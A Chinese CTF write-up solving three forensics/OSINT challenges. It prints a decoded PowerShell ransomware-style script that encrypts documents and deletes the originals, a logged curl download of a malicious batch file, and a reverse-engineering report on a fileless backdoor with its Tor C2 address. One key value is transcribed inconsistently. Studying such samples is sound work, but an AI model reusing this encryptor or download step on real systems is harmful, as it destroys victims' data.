Misc

Gamer

Challenge

据说爱玩游戏的人运气都不错…除非你被卫继龚盯上 = =

Solution

我们重点关注 Event ID 1 (进程创建) 的日志,特别是 PowerShell 和 CMD 的执行记录

分析发现:

  1. 下载恶意脚本 (2025/12/4 22:26:13):
    攻击者使用 curl 下载了一个批处理文件:
    curl http://192.168.111.1:8080/system_fix.bat -O
    TKKCTF2025-1

  2. 执行批处理:
    执行 system_fix.bat 开始调用 PowerShell

  3. 构建加密逻辑:

    • 使用 powershell -c 命令多次向 b.dat 文件追加 Base64 编码的字符串
      TKKCTF2025-2
      全部 Base64 内容解码结果如下:

      powershell
      # Banner: "TKKC SEC HAS BEEN COMPROMISED..."$x99Qq = "VEtLQyBTRUMgSEFTIEJFRU4gQ09NUFJPTUlTRUQgQlkgV0VJIEpJR09ORyAo5Y2r57un6b6aKQoqIFdoYXQgaGFwcGVuZWQ/ClRoaXMgaXMgbXkgcmV2ZW5nZSBhZ2FpbnN0IFRLS0MgU2VjLiBZb3VyIGFycm9nYW5jZSBoYXMgbGVkIHRvIHRoaXMuCkksIFdlaSBKaWdvbmcsIGhhdmUgZW5jcnlwdGVkIGFsbCB5b3VyIGNyaXRpY2FsIGZpbGVzLgoqIENhbiBJIHJlY292ZXIgdGhlbT8KSXQgaXMgaW1wb3NzaWJsZSB3aXRob3V0IG15IHByaXZhdGUga2V5LiBEbyBub3Qgd2FzdGUgeW91ciB0aW1lLgoqIEhvdyB0byBmaXggdGhpcz8KQWRtaXQgeW91ciBkZWZlYXQgdG8gV2VpIEppZ29uZy4gWW91IGhhdmUgMjQgaG91cnMgYmVmb3JlIGRhdGEgbG9zcy4=" # Display Banner Functionfunction f_sh0w {     [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x99Qq))} # Extensions: *.txt *.doc *.docx *.pdf$j11Wz = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm" function f_lst {    return (f_dec $j11Wz).Split(" ")} # Decode Functionfunction f_dec {    param([string]$in)    return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))} # Key 1$p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="# Key 2$o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG" $u88Ty = f_dec $p44Lm$i33Er = f_dec $o55Nr $h77Vn = @{}For ($z = 65; $z -le 90; $z++) {    $h77Vn[([char]$z)] = if($z -eq 90) { [char]65 } else { [char]($z + 1) }}For ($z = 97; $z -le 122; $z++) {    $h77Vn[([char]$z)] = if($z -eq 122) { [char]97 } else { [char]($z + 1) }}For ($z = 48; $z -le 57; $z++) {    $h77Vn[([char]$z)] = if($z -eq 57) { [char]48 } else { [char]($z + 1) }} function f_crpt {    param([byte[]]$b_src, [byte[]]$k_a, [byte[]]$k_b)    $res = [byte[]]::new($b_src.Length)    for ($i = 0; $i -lt $b_src.Length; $i++) {        $v1 = $k_a[$i % $k_a.Length]        $v2 = $k_b[$i % $k_b.Length]        $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2    }    return $res} function f_proc {    param([byte[]]$raw, [string]$s_a, [string]$s_b)     if ($raw -eq $null -or $raw.Length -eq 0) {        return $null    }     $bk_a = [System.Text.Encoding]::UTF8.GetBytes($s_a)    $bk_b = [System.Text.Encoding]::UTF8.GetBytes($s_b)    $out_b = f_crpt $raw $bk_a $bk_b     return [System.Convert]::ToBase64String($out_b)} function f_exec {    param([switch]$go)     try {        if ($go) {            foreach ($ext in f_lst) {                $path = "dca01aq2/"                if (Test-Path $path) {                    Get-ChildItem -Path $path -Recurse -ErrorAction Stop |                        Where-Object { $_.Extension -match "^\.$ext$" } |                        ForEach-Object {                            $tgt = $_.FullName                            if (Test-Path $tgt) {                                $bin = [IO.File]::ReadAllBytes($tgt)                                $fin = f_proc $bin $u88Ty $i33Er                                [IO.File]::WriteAllText("$tgt.secured", $fin)                                Remove-Item $tgt -Force                            }                        }                }            }        }    }    catch {}} if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {    f_exec -go    f_sh0w}

      解码后包含两个 Base64 编码的密钥:

      • $p44Lm (Key 1): "VGtrY1NlY3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
      • $o55Nr (Key 2): "aWN0b3J5SXNlT3Vyc0xvbmdUb3RoZUNURg" (解码后为 victoryIsOursLongTotheCTF)

      使用了一个双重异或加密:

      powershell
      $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2

      其中 $v1 来自 Key 1,$v2 来自 Key 2

      解码后的逻辑显示:

      1. 读取原文件字节
      2. 加密
      3. 将加密后的字节转换为 Base64 字符串
      4. 写入 .secured 文件
      5. 删除原文件
python
import base64 LOG_KEY_1_RAW = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="LOG_KEY_2_RAW = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG" INPUT = "flag.pdf.secured"OUTPUT = "flag.pdf" def f_dec(b64_string):    missing_padding = len(b64_string) % 4    if missing_padding:        b64_string += '=' * (4 - missing_padding)    return base64.b64decode(b64_string) def decrypt():    # 1. 密钥    # $u88Ty = f_dec $p44Lm; $i33Er = f_dec $o55Nr    key1_bytes = f_dec(LOG_KEY_1_RAW)    key2_bytes = f_dec(LOG_KEY_2_RAW)     # 2. 读取加密文件    # [IO.File]::WriteAllText(... $fin)    with open(INPUT, 'r') as f:        file_content_b64 = f.read()     # return [System.Convert]::ToBase64String($out_b)    encrypted_bytes = base64.b64decode(file_content_b64)     # 3. XOR 解密    # $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2    decrypted_data = bytearray(len(encrypted_bytes))    k1_len = len(key1_bytes)    k2_len = len(key2_bytes)     for i in range(len(encrypted_bytes)):        # $v1 = $k_a[$i % $k_a.Length]        v1 = key1_bytes[i % k1_len]        # $v2 = $k_b[$i % $k_b.Length]        v2 = key2_bytes[i % k2_len]        # -bxor $v1 -bxor $v2        decrypted_data[i] = encrypted_bytes[i] ^ v1 ^ v2     # 4. 写入结果    with open(OUTPUT, 'wb') as f:        f.write(decrypted_data) if __name__ == "__main__":    decrypt()

flag 在还原后的 PDF 文件里

FLAG

text
xujc{C4v3_Exp3d1ti0n_Succ3ssfuL!!} 

Screen Shot

Challenge

在协助警方清算一个黑市时,TKKC Sec研究团队发现了一台名为”卫继龚“的菜鸟黑客的随身电脑。从还原的内容看来,这个傻瓜甚至以为删掉了bash_history就没法还原他犯罪的全貌。

情报专家“小恐龙”对这段恢复的日志经过勘查后得出结论:”卫继龚“已在某国的帮助下乘坐一架军用直升机抵达了那个国家,并且能在Google Map上得到证实。于是,日理万机的“小恐龙”就决定把还原完整线索链的工作交给你,当作给你这个新人的锻炼。

找到这架军用直升机在Google Map上的具体经纬度坐标(坐标精确到小数点后4位)
flag格式: xujc{经度(正数表示东经,负数表示西经)_纬度},如xujc{-11.1111_22.2222}

Solution

附件内容:

cmd
Last login: Tue Dec 19 03:12:44 2024 from 10.8.0.2root@kali-404:~# uname -aLinux kali-404 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux root@kali-404:~# export TARGET_IP="192.168.1.105"root@kali-404:~# nmap -sS -p- --min-rate 5000 45.33.32.156Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-19 03:13:01 UTCNmap scan report for scanme.nmap.org (45.33.32.156)Host is up (0.18s latency).Not shown: 65530 closed tcp ports (reset)PORT      STATE SERVICE22/tcp    open  ssh80/tcp    open  http9929/tcp  open  nping-echo31337/tcp open  EliteNmap done: 1 IP address (1 host up) scanned in 14.22 seconds root@kali-404:~# # Damn, wrong target. root@kali-404:~# cat /etc/hosts127.0.0.1       localhost127.0.1.1       kali-40410.10.10.5      vpn-gateway# 192.168.100.10  internal-dns root@kali-404:~# python3 ./scripts/payload_gen.py --arch x64 --os windows[+] Generating shellcode...[!] Error: Dependency 'keystone' not found. Please pip install keystone-engine. root@kali-404:~# pip install keystone-engineRequirement already satisfied: keystone-engine in /usr/lib/python3/dist-packages (0.9.2)root@kali-404:~# # Whatever, I'll do it manually later. root@kali-404:~# ping -c 3 8.8.8.8PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=14.2 ms64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=14.1 ms64 bytes from 8.8.8.8: icmp_seq=3 ttl=115 time=14.3 ms --- 8.8.8.8 ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2003msrtt min/avg/max/mdev = 14.188/14.230/14.312/0.052 ms root@kali-404:~# netstat -antp | grep LISTENtcp        0      0 0.0.0.0:22              0.0.0.0:* LISTEN      542/sshd: /usr/sbin tcp        0      0 127.0.0.1:5432          0.0.0.0:* LISTEN      601/postgres         root@kali-404:~# # Initiating deep scan on Sector 7root@kali-404:~# dig axfr @10.10.10.5 sector7.local; <<>> DiG 9.18.19-1-Debian <<>> axfr @10.10.10.5 sector7.local; (1 server found);; global options: +cmd; Transfer failed. root@kali-404:~# traceroute -T -p 443 131.10.20.51traceroute to 131.10.20.51 (131.10.20.51), 30 hops max, 60 byte packets 1  192.168.1.1 (192.168.1.1)  0.211 ms  0.198 ms  0.187 ms 2  10.100.20.1 (10.100.20.1)  4.321 ms  4.299 ms  4.310 ms 3  172.16.50.254 (isp-internal.net)  5.102 ms  5.088 ms  5.095 ms 4  203.0.113.5 (edge-router-01.isp.net)  8.440 ms  8.420 ms  8.433 ms 5  12.122.115.10 (tbone.sj.level3.net)  10.550 ms  10.530 ms  10.540 ms 6  4.69.153.12 (ae-2-5.bar1.SanJose1.Level3.net)  12.100 ms  12.080 ms  12.090 ms 7  4.69.133.109 (ae-1-6.bar1.LasVegas1.Level3.net)  15.201 ms  15.188 ms  15.210 ms 8  4.53.230.14 (las-b21-link.telia.net)  16.402 ms  16.380 ms  16.399 ms 9  137.229.0.2 (unlv-gw.nevada.edu)  17.100 ms  17.080 ms  17.090 ms10  *** Request timed out ***11  *** Request timed out ***12  [DATA FRAGMENT RECOVERED]: ...nttr-gateway.nellis.af.mil...13  131.10.20.51 (target-airgap-proxy)  <NO RESPONSE> root@kali-404:~# echo "Route traced. Entering passive mode."Route traced. Entering passive mode. root@kali-404:~# base64 -d <<< "VGFyZ2V0IG1vdmVkIHRvIFNpdGUgNA=="Target moved to Site 4 root@kali-404:~# ls -la /var/log/surveillance/total 1024drwxr-xr-x 2 root root    4096 Dec 19 03:15 .drwxr-xr-x 1 root root    4096 Dec 18 22:00 ..-rw-r--r-- 1 root root  823910 Dec 19 03:14 drone_feed_001.log-rw-r--r-- 1 root root   12044 Dec 19 03:15 drone_feed_002.log root@kali-404:~# tail -n 5 /var/log/surveillance/drone_feed_002.log[03:15:01] CAM_04: Signal weak. Adjusting gain.[03:15:05] CAM_04: Locked on object. Type: Rotary-wing. No registration.[03:15:08] TELEMETRY: Alt 4400ft. Pressure 29.92 inHg.[03:15:10] GEO_REF: Object static on NW Apron. Reference: Groom Dry Lake bed visible to East.[03:15:12] WARNING: Jamming detected from 130.00 MHz. Connection lost. root@kali-404:~# # Let's try to decrypt the commsroot@kali-404:~# gpg --decrypt message.gpggpg: cannot open 'message.gpg': No such file or directoryroot@kali-404:~# find / -name "message.gpg" 2>/dev/nullroot@kali-404:~# # Damn it, where did I put it? root@kali-404:~# curl -I http://ru.bombardier.netHTTP/1.1 301 Moved PermanentlyDate: Tue, 19 Dec 2024 03:18:00 UTCServer: ApacheLocation: https://ru.bombardier.net/Content-Type: text/html; charset=iso-8859-1 root@kali-404:~# # Irrelevant.root@kali-404:~# history -croot@kali-404:~# exitlogout

TLDR,直接把题目描述和附件内容丢给 AI

TKKCTF2025-3

这个回复里面对我来说最重要的信息是:要寻找一个位于 51 区的直升机的坐标

之前打过一场国际赛碰巧有这个位置,直接一眼丁真了:https://www.aristore.top/posts/htb2107/#Solution-2

FLAG

text
xujc{-115.8123_37.2470}

Operation Ghost

Challenge

我们最新研制的蜜罐成功引诱到了一名黑客。黑客非常狡猾,他似乎在系统中运行了一个后门,但在磁盘上找不到任何可疑文件。 连上这个蜜罐,找出黑客留下的秘密…
(连接出现15秒左右空屏属于正常现象,等待一会儿即可正常使用)
用户名:root,无密码

Solution

后门在系统中运行但在磁盘上找不到可疑文件,这意味着攻击者在运行后门之后把程序给删了,程序在内存还里运行

查找指向 (deleted) 的进程:

text
ls -al /proc/*/exe 2>/dev/null | grep deleted

寻找幽灵进程 PID 并将其存入变量 PID

text
PID=$(ls -al /proc/*/exe 2>/dev/null | grep deleted | awk -F/ '{print $3}' | head -n 1)

将运行在内存中的后门程序提取并恢复

text
cp /proc/$PID/exe /tmp/kworker_u4_0chmod +x /tmp/kworker_u4_0

用 pwntools 连接靶机尝试把程序弄出来(这里是将运行结果保存到一个日志文件中,在靶机中将后门文件 base64 编码的结果输出,这样就可以在日志文件中拿到了,截取 base64 的输出内容并解码即可得到后门文件)

python
import sysimport threadingimport timefrom pwn import * HOST = '47.122.52.77'PORT = 33780LOG_FILENAME = "ghost.log" def main():    try:        io = remote(HOST, PORT)    except:        print("[-] 连接失败")        return     io.recvuntil(b"TKKCSec login:")    io.sendline(b'root')     io.recvuntil(b'#')     # 打开日志文件准备写入    log_file = open(LOG_FILENAME, 'wb')        # 定义一个标志位用于控制线程退出    running = True     # 接收    def receiver():        while running:            try:                # 每次读取一点数据                data = io.recv(timeout=0.1)                if not data:                    continue                                # 写入文件                log_file.write(data)                log_file.flush()            except EOFError:                print("\n[*] 断开连接")                break            except Exception:                break     # 启动接收线程    t = threading.Thread(target=receiver)    t.daemon = True    t.start()     io.sendline("PID=$(ls -al /proc/*/exe 2>/dev/null | grep deleted | awk -F/ '{print $3}' | head -n 1)".encode())    time.sleep(2)    io.sendline("cp /proc/$PID/exe /tmp/kworker_u4_0".encode())    time.sleep(2)    io.sendline("base64 /tmp/kworker_u4_0".encode())    time.sleep(10)     # 清理    running = False    log_file.close()    io.close() if __name__ == "__main__":    main()

后来才知道靶机出网,直接带出来就完事了☹️

在逆向的过程中发现要使用到它的环境变量,那就回靶机看看

cmd
# cat /proc/$PID/environ | tr '\0' '\n'SHLVL=1HOME=/TERM=linuxTKKC_AUTH_TOKEN=X-TKKC-Key-2025PWD=/

拿到 TKKC_AUTH_TOKEN=X-TKKC-Key-2025

下面是大模型给出的逆向分析报告:

分析摘要

这是一个伪装成Linux内核工作线程 [kworker/u4:0] 的后门程序。程序通过环境变量获取密钥,解密内置的加密字符串,然后向Tor隐藏服务发送HTTP请求。

关键发现:

  • 加密算法: XTEA (eXtended Tiny Encryption Algorithm)
  • 密钥生成: FNV-1a哈希 + 线性同余生成器 (LCG)
  • C2服务器: Tor隐藏服务 (onion地址)
  • 隐蔽性: 伪装成系统进程名称

详细分析过程

1. 程序入口点分析

程序从 start 函数 (0x4015c0) 开始,调用主函数 sub_401B38:

c
void __fastcall __noreturn sub_401B38(__int64 a1, char **p_[kworker_u4:0]){  strcpy(*p_[kworker_u4:0], "[kworker/u4:0]");  // 伪装成内核线程  sub_417870(15, "[kworker/u4:0]", 0, 0, 0);    // 设置进程名  while ( 1 )  {    sub_40191A();   // 主后门逻辑    sub_416E30(20); // sleep(20)  }}

分析要点:

  • 程序伪装成Linux内核工作线程 [kworker/u4:0]
  • 无限循环,每20秒执行一次后门逻辑

2. 后门逻辑分析 (sub_40191A)

核心函数位于 0x40191A,执行以下操作:

c
__int64 sub_40191A(){  char TKKC_AUTH_TOKEN[20];  _BYTE v10[16];  _BYTE v9[128];  _BYTE GET_request[64];    // 1. 读取环境变量  strcpy(TKKC_AUTH_TOKEN, "TKKC_AUTH_TOKEN");  v17 = sub_404A40(TKKC_AUTH_TOKEN);  // getenv()    if ( v17 )  {    // 2. 从token生成密钥    sub_4017BB(v17, v10);        // 3. 解密URL (72 bytes)    sub_40185E(&unk_4A40E0, 72, v10, v9);        // 4. 解密User-Agent模板 (24 bytes)    sub_40185E(&unk_4A4130, 24, v10, GET_request);        // 5. 构造并发送HTTP请求到127.0.0.1:9050 (Tor SOCKS代理)    // ...  }}

3. 密钥生成算法 (sub_4017BB)

该函数使用 FNV-1a哈希线性同余生成器(LCG) 生成 XTEA 密钥:

c
int *__fastcall sub_4017BB(unsigned __int8 *a1, int *a2){  int v5 = -2128831035;  // FNV-1a offset basis    // FNV-1a hash  while ( *a1 )  {    v5 = 16777619 * (v5 ^ *a1);    a1++;  }    // LCG生成4个密钥  *a2 = v5;  a2[1] = 1664525 * v5 + 1013904223;  a2[2] = 1664525 * a2[1] + 1013904223;  a2[3] = 1664525 * a2[2] + 1013904223;    return a2 + 3;}

Python实现:

python
def fnv1a_hash(data):    hash_value = 0x811C9DC5    for byte in data.encode():        hash_value ^= byte        hash_value = (hash_value * 16777619) & 0xFFFFFFFF    return hash_value def generate_key(token):    h = fnv1a_hash(token)    key = [h & 0xFFFFFFFF]    for i in range(3):        h = (1664525 * key[i] + 1013904223) & 0xFFFFFFFF        key.append(h)    return key

使用token X-TKKC-Key-2025 生成的密钥:

text
key[0] = 0xdfaaee15key[1] = 0xf3066870key[2] = 0x544ee10fkey[3] = 0xec935b22

4. XTEA解密算法 (sub_4016E5)

标准的 XTEA 解密实现,32 轮解密:

c
__int64 __fastcall sub_4016E5(unsigned int *a1, __int64 a2){  unsigned int v6 = *a1;  unsigned int v5 = a1[1];  unsigned int v4 = -957401312;  // delta * 32    for ( i = 0; i <= 31; ++i )  {    v5 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (*(_DWORD *)(4LL * ((v4 >> 11) & 3) + a2) + v4);    v4 += 1640531527;  // delta    v6 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (*(_DWORD *)(4LL * (v4 & 3) + a2) + v4);  }    *a1 = v6;  a1[1] = v5;  return v5;}

关键参数:

  • Delta: 0x61C88647 (1640531527)
  • 初始 sum: 0xC6EF3720 (delta * 32)
  • 轮数: 32 轮

Python实现:

python
def xtea_decrypt_block(v, key):    v0, v1 = struct.unpack('<II', v)    delta = 0x61C88647    sum_val = 0xC6EF3720        for i in range(32):        v1 = (v1 - ((((v0 >> 5) ^ (v0 << 4)) + v0) ^ (key[(sum_val >> 11) & 3] + sum_val))) & 0xFFFFFFFF        sum_val = (sum_val + delta) & 0xFFFFFFFF        v0 = (v0 - ((((v1 >> 5) ^ (v1 << 4)) + v1) ^ (key[sum_val & 3] + sum_val))) & 0xFFFFFFFF        return struct.pack('<II', v0, v1)

5. 加密数据位置

通过 IDA 读取内存得到两段加密数据:

数据1 (0x4A40E0, 72 bytes):

text
ab 80 05 4b e0 0a 84 9d 2c 1e c3 ea 79 0b 55 0d 24 08 26 d0 41 8f 33 0a ee b4 b4 1f 99 47 5c 2b fa 5e f5 fd f3 e9 85 3b ec 7a 64 d7 ea 14 7d 8e fb 20 70 73 5d d6 5f 63 13 5b f1 b0 64 c2 10 6c c1 b1 4b 72 b7 51 83 73

数据2 (0x4A4130, 24 bytes):

text
eb 3e 70 5c 8a 8d ed 9c 8f 54 c9 26 71 73 a6 96 d4 7e 46 be 0c ad ca 23

6. 解密结果

使用 token X-TKKC-Key-2025 解密得到:

解密数据1 (C2 服务器 URL):

text
http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion

解密数据2 (User-Agent 模板):

text
TKKC-Bot-Agent/%s

7. 网络通信分析

后门程序的网络行为:

  1. 连接目标: 127.0.0.1:9050 (本地 Tor SOCKS 代理)

  2. 协议: HTTP/1.0

  3. 请求格式:

    text
    GET /{path} HTTP/1.0Host: {onion_address}User-Agent: TKKC-Bot-Agent/{version}Connection: close
  4. C2服务器: Tor 隐藏服务

    • 地址: w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion
    • 这是一个 56 字符的 v3 onion 地址

技术总结

加密方案

  • 算法: XTEA (对称加密)
  • 密钥长度: 128 位 (4 个 32 位整数)
  • 分组大小: 64 位 (8 字节)
  • 工作模式: ECB 模式

密钥派生

  1. FNV-1a 哈希: 将 token 字符串转换为 32 位哈希值
  2. LCG 扩展: 使用线性同余生成器生成 4 个密钥值
    • 参数: a=1664525, c=1013904223

反检测技术

  1. 进程伪装: 伪装成 Linux 内核工作线程 [kworker/u4:0]
  2. 加密配置: C2 地址和 User-Agent 都经过加密
  3. Tor 网络: 使用 Tor 隐藏服务,难以追踪
  4. 无文件驻留: 从内存中运行,磁盘上无痕迹

解密工具

完整的解密脚本已保存为 decrypt.py,可以:

  • 从token生成XTEA密钥
  • 解密任意加密数据
  • 验证解密结果

运行示例:

bash
$ python decrypt.pykey: ['0xdfaaee15', '0xf3066870', '0x544ee10f', '0xec935b22']http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onionTKKC-Bot-Agent/%s

关键函数映射

地址原始名称功能描述
0x4015c0start程序入口
0x401B38sub_401B38主函数,无限循环执行后门
0x40191Asub_40191A后门核心逻辑
0x404A40sub_404A40getenv - 读取环境变量
0x4017BBsub_4017BB从token生成XTEA密钥
0x40185Esub_40185E解密数据(多个块)
0x4016E5sub_4016E5XTEA解密单个块

内存数据映射

地址大小描述解密后内容
0x4A40E072 bytes加密的URLhttp://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion
0x4A413024 bytes加密的User-AgentTKKC-Bot-Agent/%s

结论

这是一个精心设计的后门程序,具有以下特征:

  1. 隐蔽性强: 伪装成系统进程,使用加密配置,通过Tor网络通信
  2. 设计巧妙: 使用环境变量作为密钥源,可以动态配置
  3. 技术成熟: 使用标准加密算法XTEA,实现规范
  4. 难以检测: 无文件驻留,仅在内存中运行

解密脚本如下

python
# Cipher bytes extracted from globals in the backdoor (addresses 0x4A40E0 and 0x4A4130)C2 = bytes([    0xAB,0x80,0x05,0x4B,0xE0,0x0A,0x84,0x9D,0x2C,0x1E,0xC3,0xEA,0x79,0x0B,0x55,0x0D,    0x24,0x08,0x26,0xD0,0x41,0x8F,0x33,0x0A,0xEE,0xB4,0xB4,0x1F,0x99,0x47,0x5C,0x2B,    0xFA,0x5E,0xF5,0xFD,0xF3,0xE9,0x85,0x3B,0xEC,0x7A,0x64,0xD7,0xEA,0x14,0x7D,0x8E,    0xFB,0x20,0x70,0x73,0x5D,0xD6,0x5F,0x63,0x13,0x5B,0xF1,0xB0,0x64,0xC2,0x10,0x6C,    0xC1,0xB1,0x4B,0x72,0xB7,0x51,0x83,0x73,]) UA = bytes([    0xEB,0x3E,0x70,0x5C,0x8A,0x8D,0xED,0x9C,0x8F,0x54,0xC9,0x26,0x71,0x73,0xA6,0x96,    0xD4,0x7E,0x46,0xBE,0x0C,0xAD,0xCA,0x23,]) TOKEN = "X-TKKC-Key-2025" def derive_key(token: str):    fnv = 0x811C9DC5    for ch in token.encode():        fnv = ((fnv ^ ch) * 0x01000193) & 0xFFFFFFFF    k0 = fnv    k1 = (1664525 * k0 + 1013904223) & 0xFFFFFFFF    k2 = (1664525 * k1 + 1013904223) & 0xFFFFFFFF    k3 = (1664525 * k2 + 1013904223) & 0xFFFFFFFF    return [k0, k1, k2, k3] def xtea_dec_block(block: bytes, key_words):    v0 = int.from_bytes(block[0:4], "little")    v1 = int.from_bytes(block[4:8], "little")    sumv = 0xC6EF3720    for _ in range(32):        v1 = (v1 - ((((v0 >> 5) ^ ((v0 << 4) & 0xFFFFFFFF)) + v0) ^ ((key_words[(sumv >> 11) & 3] + sumv) & 0xFFFFFFFF))) & 0xFFFFFFFF        sumv = (sumv + 0x61C88647) & 0xFFFFFFFF        v0 = (v0 - ((((v1 >> 5) ^ ((v1 << 4) & 0xFFFFFFFF)) + v1) ^ ((key_words[sumv & 3] + sumv) & 0xFFFFFFFF))) & 0xFFFFFFFF    return v0.to_bytes(4, "little") + v1.to_bytes(4, "little") def decrypt(arr: bytes, key_words):    out = bytearray()    for i in range(0, len(arr), 8):        out += xtea_dec_block(arr[i:i+8], key_words)    return bytes(out) def main():    key = derive_key(TOKEN)    print("key:", [hex(x) for x in key])    print(decrypt(C2, key).decode("utf-8", "replace"))    print(decrypt(UA, key).decode("utf-8", "replace")) if __name__ == "__main__":    main()

用 Tor Browser 连上 Tor 网络后带上指定的 UA 给 C2 服务器发包(没带 UA 或者 UA 不对的话返回的是 Welcome to TKKCTF 2025!

TKKCTF2025-4

返回的内容是

text
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d720855174b5b574f

和前面的密钥 X-TKKC-Key-2025 XOR 解密(我也不知道为什么这么做,在群里询问得知做出来的大佬是 AI 试出来的)

TKKCTF2025-5

解密得到 xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_C0nfig}

这还不是最终的 flag,而是一个提示,headers are the key to the darkweb but real in config

根据提示给路由 /config 发包

text
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d7278284d1c5e4d

TKKCTF2025-6

用同样的方法解密得到 xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_3M41l}

还是一个提示,headers are the key to the darkweb but real in email

根据提示给路由 /email 发包,但是没有响应,可以另存为 HAR 使用工具进一步分析

TKKCTF2025-7

我这里使用的是 PureWaterSun/har-analyze

TKKCTF2025-8

/config 的响应头发现 X-Emergency-Contact 头部 dGtrY19zaGFkb3dfb3BzXzg4QHlvcG1haWwuY29t

bese64 解码得到 tkkc_shadow_ops_88@yopmail.com

访问 https://yopmail.com/ 发现这是一个匿名邮箱,输入上面的邮箱地址即可

TKKCTF2025-9

FLAG

text
xujc{R3sp0ns3_H3ad3rs_L3ak_Th3_Tru7h}